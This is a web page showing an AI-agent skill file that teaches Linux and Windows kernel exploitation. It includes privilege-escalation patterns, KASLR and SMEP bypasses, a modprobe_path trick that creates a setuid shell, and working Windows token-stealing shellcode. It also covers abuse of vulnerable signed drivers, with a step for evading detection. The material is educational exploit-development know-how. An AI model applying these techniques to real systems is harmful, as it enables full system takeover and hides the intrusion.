agentleFS
Wang200935Wang200935/security-agent-skills/skills/exploit-dev/kernel-exploitation/SKILL.md

kernel-exploitation

Skill4 starsChanged 3 months agoMITView on GitHub

Operating system kernel exploitation — Linux kernel (SLUB/SLAB allocator

3 other projects use a version of this.

Adopted by

Most recently taken up by

The file

We split this skill into the rules it gives an agent

1 rule. 0 are common, 1 is distinctive, and 0 are very specific to this project.

  • 0

    Common

    Most of the 3 edited versions we read keep these.

  • 1

    Distinctive

    This author's own choices. Worth a look.

  • 0

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Distinctive:

    KPTI (Kernel Page Table Isolation): After Meltdown, user pages not mapped in kernel.

    line 409

“Common” is measured: kept by at least 6 in 10 of the 3 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

Kernel Exploitation — Linux & Windows

Kernel exploitation targets vulnerabilities in the OS kernel itself, achieving the highest privilege level (ring 0 / Supervisor mode). A successful kernel exploit means complete system compromise.

Linux Kernel Exploitation

Kernel vs Userland

Userland: ring 3, process isolation, syscall interface
   |
   | syscall (int 0x80 / sysenter / syscall)
   v
Kernel:   ring 0, full memory access, all hardware access

Key Kernel Subsystems to Attack

ATTACKABLE_SUBSYSTEMS = {
    'syscalls': 'Every syscall handler → argument parsing, copy_from_user',
    'ioctl': 'Device-specific commands → driver bugs (the most exploited)',
    'netfilter': 'iptables/nftables packet processing → network-reachable',
    'filesystems': 'mount, VFS operations, FS-specific ioctls',
    'bpf': 'eBPF verifier bugs → JIT memory corruption',
    'namespaces': 'Namespace escape → container breakout',
    'kvm': 'Virtualization → VM escape',
    'usb': 'USB descriptor parsing → physically reachable',
}

Linux Kernel Heap Allocators

# Modern Linux (since ~2.6): SLUB allocator
# Each kernel object type gets its own slab cache (kmem_cache)

# Key slab caches:
# - kmalloc-8, kmalloc-16, ..., kmalloc-8192 (general purpose)
# - dentry, inode_cache, files_cache (VFS objects)
# - cred_jar (struct cred — our prime target!)
# - tty_struct, tty_buffer (terminal objects)

# Heap exploitation target: overwrite cred structure
# cred.uid = cred.gid = cred.euid = cred.egid = 0 → root

# Tools:
# cat /proc/slabinfo  # see all slab caches
# sudo cat /sys/kernel/slab/cred_jar/object_size

Attack Pattern: UAF → Arbitrary Write → cred Overwrite

# 1. Trigger UAF on kernel object (e.g., via buggy ioctl)
# 2. Spray another object (e.g., via keyctl or msgsnd) to reclaim freed memory
# 3. Use dangling pointer to overwrite object → controlled kernel write
# 4. Find current task_struct → locate cred pointer → overwrite to NULL/0
# 5. commit_creds(prepare_kernel_cred(0)) → root

# Standard privilege escalation pattern:
# if (!commit_creds)
#     return -1;
# commit_creds(prepare_kernel_cred(0));
# return 0;

KASLR Bypass Techniques

KASLR_BYPASS = {
    'direct_leak': 'dmesg (if unprivileged access), /proc/kallsyms (if kptr_restrict=0)',
    'side_channel': 'Prefetch timing, TSX (Transactional Synchronization Extensions)',
    'kernel_address_in_bss': 'Some kernel pointers stored in unrandomized BSS',
    'cpu_entry_area': 'Fixed virtual address on x86_64 (since Linux 4.15)',
    'kslide_value': 'Can sometimes be derived from other leaks',
    'dmesg_restrict': 'Check: cat /proc/sys/kernel/dmesg_restrict (1=restricted)',
    'kptr_restrict': 'Check: cat /proc/sys/kernel/kptr_restrict (0=visible, 1=hidden to unpriv, 2=hidden)',
}

ret2usr Technique

# ret2usr: Redirect kernel execution to user-space code
# User-space code runs with kernel privileges!

# 1. Prepare user-space payload (runs with kernel creds)
# 2. Overwrite kernel function pointer → point to user-space
# 3. Kernel executes user code in ring 0!

def prepare_ret2usr():
    """User-space code that runs as kernel (ring 0)."""
    # In C:
    # void get_root(void) {
    #     commit_creds(prepare_kernel_cred(0));
    #     // Return to userland as root
    #     asm("swapgs; iretq");  // Proper kernel→user transition
    # }

# Problem: SMEP (Supervisor Mode Execution Prevention) blocks this
# SMEP: CPU refuses to execute user-space pages in kernel mode
# Bypass: flip SMEP bit in CR4, or use ROP in kernel space

# Bypass: Clear CR4.SMEP (bit 20) before jumping to user-space
# mov cr4, rdi; and rdi, ~(1<<20); mov rdi, cr4

modprobe_path Overwrite

# Cleaner alternative to cred overwrite (if you have kernel write)
# Overwrite /proc/sys/kernel/modprobe_path

# modprobe_path: kernel runs this when unknown binary format executed
# Default: "/sbin/modprobe"
# Overwrite to: "/tmp/x"  # your shell script

# 1. Write "/tmp/x\0" to modprobe_path in kernel memory
# 2. Create /tmp/x: #!/bin/sh; cp /bin/sh /tmp/r00t; chmod 4755 /tmp/r00t
# 3. Execute unknown format binary: ./dummy.bin
# 4. Kernel calls /tmp/x → creates setuid shell!

# This bypasses SMEP/SMAP/KPTI because the execution is legitimate kernel path

Notable Linux Kernel CVEs for Study

SEMINAL_KERNEL_CVES = {
    'CVE-2016-5195': 'DirtyCow — race condition in COW memory → write to read-only files (9 years old!)',
    'CVE-2017-7308': 'AF_PACKET ring buffer overflow → arbitrary kernel write',
    'CVE-2017-1000112': 'UFO (UDP Fragmentation Offload) → heap overflow',
    'CVE-2018-5333': 'rds_atomic_free_op NULL deref → arbitrary free → cred overwrite',
    'CVE-2019-9213': 'mmap_min_addr bypass → null page mapping',
    'CVE-2021-3156': 'sudoedit heap overflow → local root (Baron Samedit)',
    'CVE-2021-4034': 'pkexec LPE (PwnKit) — argument confusion',
    'CVE-2022-0847': 'DirtyPipe — pipe buffer flag overwrite → write to any file',
    'CVE-2023-0386': 'OverlayFS setuid copy-up → local root',
    'CVE-2024-1086': 'netfilter nf_tables use-after-free → universal LPE',
}

# DirtyPipe (CVE-2022-0847) — most elegant recent kernel exploit
# 1. Create pipe
# 2. Fill pipe with arbitrary data (write to pipe_buffer)
# 3. Drain pipe data
# 4. splice() read-only file into pipe
# 5. Write data to pipe → overwrites pipe_buffer flags
# 6. Pipe buffer now points to file's page cache!
# 7. Write arbitrary data to pipe → overwrites cached file page
# 8. File changes become visible to all readers

# Impact: write to ANY file, even read-only (like /etc/passwd)

Windows Kernel Exploitation

Key Windows Kernel Components

WINDOWS_KERNEL_COMPONENTS = {
    'ntoskrnl.exe': 'Core kernel (process management, memory, I/O)',
    'win32k.sys': 'GDI/USER subsystem (window management, fonts)',
    'ci.dll': 'Code Integrity (PatchGuard enforcer)',
    'hal.dll': 'Hardware Abstraction Layer',
    'drivers': 'Third-party drivers (printers, GPU, antivirus — common targets)',
}

Token Stealing Shellcode (Windows x64)

; Windows kernel shellcode: steal SYSTEM token
; Find EPROCESS of System (PID 4)
; Copy its token to our EPROCESS

start:
    ; Get current ETHREAD → EPROCESS
    mov rax, gs:[0x188]     ; ETHREAD from GS (PCR)
    mov rax, [rax + 0xb8]   ; EPROCESS (KTHREAD.ApcState.Process)
    mov rcx, rax             ; Save our EPROCESS
    
    ; Find System EPROCESS (PID 4)
    mov rdx, [rax + 0x448]   ; EPROCESS.ActiveProcessLinks
    mov rdx, [rdx]            ; Next → ListEntry.Flink
    
find_system:
    mov rax, [rdx - 0x448]   ; Get EPROCESS from ListEntry
    mov r8, [rax + 0x440]    ; UniqueProcessId
    cmp r8, 4
    jz found_system
    mov rdx, [rdx]            ; Next process
    jmp find_system
    
found_system:
    ; Copy SYSTEM token to our process
    mov rax, [rax + 0x4b8]   ; EPROCESS.Token (SYSTEM token)
    and al, 0xf0             ; Clear RefCnt bits
    
    ; Replace our token
    mov [rcx + 0x4b8], rax   ; EPROCESS.Token = SYSTEM token
    
    ; Clean up and return
    ret

NULL Pointer Dereference → PrivEsc (Windows)

# Windows NULL dereference privilege escalation
# CVE-2014-4113 (Win32k.sys), CVE-2020-0796 (SMBGhost)

# Pattern:
# 1. Map memory at address 0x00000000 (NULL page)
#    NtAllocateVirtualMemory(GetCurrentProcess(), &addr=1, ...)
# 2. Place fake structure at NULL
# 3. Kernel dereferences NULL pointer (bug) → reads attacker's fake struct
# 4. Fake struct contains controlled function pointer → kernel calls it
# 5. Execute token stealing shellcode → SYSTEM

# Modern Windows: NULL page mapping blocked by MmMapViewInSystemSpace
# Windows 8+: NtAllocateVirtualMemory(NULL, ...) disabled
# Need alternative approach (UAF, heap overflow, etc.)

Windows Kernel Offsets (Version-Dependent)

# Key EPROCESS offsets (change with Windows build):
WINDOWS_OFFSETS = """
Windows 10 x64 (approx., verify with WinDbg):
  EPROCESS.ActiveProcessLinks: 0x448
  EPROCESS.UniqueProcessId:    0x440
  EPROCESS.Token:              0x4b8
  EPROCESS.ImageFileName:      0x5a8
  ETHREAD: gs:[0x188]

Windows 11: offsets shifted by ~0x10-0x20 bytes

Tools: LiveKd, kd.exe (kernel debugger), WinDbg Preview
'!process 0 0' → dump all processes
'dt nt!_EPROCESS' → show structure with offsets
"""

PatchGuard (Kernel Patch Protection)

# PatchGuard: periodic integrity check of critical kernel structures
# Detects: SSDT hooking, IDT hooking, ntoskrnl code patching
# Response: BSOD (CRITICAL_STRUCTURE_CORRUPTION) — instant crash!

# Workarounds:
# 1. Data-only attacks (modify data structures, not code)
# 2. Timing attacks (disable PatchGuard before detection)
# 3. Disable via boot-time debugger (cannot on retail)
# 4. Attack at a layer PatchGuard doesn't monitor

# Safe targets (not PatchGuard-protected):
# - Process/thread structures (EPROCESS, ETHREAD)
# - Object manager objects (token, handle tables)
# - I/O manager (IRP, DEVICE_OBJECT)
# - Memory manager (PTE manipulation)

Windows Driver Exploitation

# Third-party drivers are the #1 kernel attack surface on Windows
# Why: drivers run in kernel, often poorly audited

DRIVER_ATTACK_WORKFLOW = """
1. Find vulnerable driver (IOCTL handler bugs)
   - Check known-vulnerable drivers (loldrivers.io)
   - Capcom.sys, WinRing0.sys, AsrDrv, Gdrv, etc.

2. Map driver into userland:
   - Bring Your Own Vulnerable Driver (BYOVD)
   - Load with admin/signed driver loading

3. Analyze IOCTL codes:
   - Reverse engineer with Ghidra/IDA
   - Find arbitrary write/read primitives

4. Token steal via arbitrary kernel write:
   - Write to EPROCESS.Token = SYSTEM

5. Cleanup: restore original token (avoid detection)
"""

# BYOVD: attacker loads a KNOWN-VULNERABLE signed driver
# The driver has an IOCTL that allows arbitrary physical memory R/W
# This bypasses all kernel protections because the driver is signed!

Debugging Windows Kernel

# Kernel debugging setup
# 1. Host: configure target VM for kernel debugging
bcdedit /debug on
bcdedit /dbgsettings serial debugport:1 baudrate:115200
# Or: bcdedit /dbgsettings net hostip:192.168.1.100 port:50000 key:1.2.3.4

# 2. Debugger machine: WinDbg Preview
kd -k net:port=50000,key=1.2.3.4

# Useful kernel debugger commands:
!process 0 0            # All processes
!process <addr> 7       # Detailed process info
dt nt!_EPROCESS <addr>  # Show EPROCESS fields
!token <addr>           # Show token info
!pool <addr>            # Pool allocation info
!irql                   # Current IRQL
!analyze -v             # Auto-analyze crash dump

Cross-Platform: Race Conditions

# Kernel race conditions are hard to find, powerful when exploited

# Pattern: TOCTOU (Time-of-Check to Time-of-Use)
# 1. Kernel checks condition (e.g., access rights)
# 2. User changes state before kernel uses it
# 3. Gap between check and use is the race window

# Exploit: Multi-threaded attack
# Thread 1: Trigger check → kernel validates access OK
# Thread 2: Simultaneously change object → kernel uses changed data
# → Race window (nanoseconds to microseconds)

# Widening the race window:
# - CPU scheduler manipulation (nice, affinity, real-time priority)
# - Memory pressure (force page faults during check-use gap)
# - FUSE (Filesystem in Userspace): delay responses artificially

# Famous race conditions:
# DirtyCow: races on COW page fault handling (window: microseconds)
# DirtyPipe: races on pipe buffer flag check (elegant, no real race needed)

Tools & Environment

# Linux kernel exploitation environment
# - VM with custom kernel (KASAN + debug symbols)
# - QEMU with GDB stub
qemu-system-x86_64 -kernel bzImage -initrd rootfs.img \
  -append "console=ttyS0 nokaslr" -s -S  # -s: gdb on :1234, -S: stop at start

# GDB with kernel debugging
gdb vmlinux
(gdb) target remote :1234
(gdb) hbreak *0xffffffffc0123456
(gdb) continue

# Build kernel with debug info
make defconfig
./scripts/config -e CONFIG_DEBUG_INFO -e CONFIG_KASAN -e CONFIG_KCOV
make -j$(nproc)

# Disable KASLR for debugging
# Boot param: nokaslr

Deep Knowledge References

  • references/zero-day-research-methodology.md §8-9 — Kernel exploit techniques including modprobe_path overwrite, cred structure overwrite, eBPF verifier exploitation, race condition exploitation (DirtyCow/DirtyPipe), and Linux kernel fuzzing with syzkaller (57,258 lines of HackTricks content included).

Pitfalls

  • Kernel crash = system crash: A failed kernel exploit BSODs/oops the machine. Use VMs.
  • KASLR must be bypassed first: Need kernel base address before any ROP/payload.
  • SMEP/SMAP/KPTI: Modern CPUs block simple ret2usr. Need bypass strategies.
  • struct offsets change: Between kernel versions/patch levels, offsets shift. Verify with debugger.
  • Race windows are tiny: Most kernel races require <1μs windows. Thread scheduling matters.
  • PatchGuard on Windows: Cannot patch kernel code. Use data-only attacks.
  • Driver signing: Windows requires signed drivers. BYOVD uses previously-signed vulnerable drivers.
  • Stack pivoting: Kernel stack is limited (16KB). Overflow must pivot to controlled area.
  • KPTI (Kernel Page Table Isolation): After Meltdown, user pages not mapped in kernel. Affects ret2usr and some ROP.

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

Reviews can't be read right now.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.